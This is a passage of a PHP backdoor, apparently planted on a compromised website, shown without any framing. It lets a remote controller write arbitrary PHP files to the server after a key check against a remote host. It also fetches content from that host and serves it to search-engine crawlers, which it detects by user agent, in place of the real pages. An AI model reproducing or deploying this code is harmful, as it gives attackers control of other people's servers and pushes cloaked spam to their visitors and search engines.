ok
';
}else{
echo '
false!
';
}
}else if (strstr($acot,'.p'.'hp')) {
if (sha1(sha1(@$_GET['a'])) == daag($htwe . '://' . $towe . '/a.p' . 'hp')) {
$dstr = @$_GET['dstr'];
if (file_put_contents($path.'/'.$acot, $dstr)){
echo 'ok';
}
}
}else{
echo '
false!
';
}
exit;
}
$web = $htwe . '://' . $towe . '/inde.php?web=' . $host . '&zz=' . sbot() . '&uri=' . $ddur . '&urlshang=' . $usse . '&http=' . $http . '&lang=' . $lag;
$htag = trim(daag($web));
if (!strstr($htag, 'nobotuseragent')) {
if (strstr($htag, 'okhtmlgetcontent')) {
@header('Content-type: text/html; charset=utf-8');
$htag = str_replace('okhtmlgetcontent', '', $htag);
echo $htag;
exit();
}else if(strstr($htag, 'okxmlgetcontent')){
$htag = str_replace('okxmlgetcontent', '', $htag);
@header('Content-type: text/xml');
echo $htag;
exit();
}
}
function sbot(){
$uaget = strtolower($_SERVER['HTTP_USER_AGENT']);
if (stristr($uaget, 'googlebot') || stristr($uaget, 'bing') || stristr($uaget, 'yahoo') || stristr($uaget, 'google') || stristr($uaget, 'Googlebot') || stristr($uaget, 'googlebot')) {
return true;
} else {
return false;
}
}
function daag($url){
$ficonts= '';
if(function_exists('curl_init')){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
$ficonts = curl_exec($ch); curl_close($ch);
}
if (!$ficonts){
$ficonts = @file_get_contents($url);
}
return $ficonts;
}
?>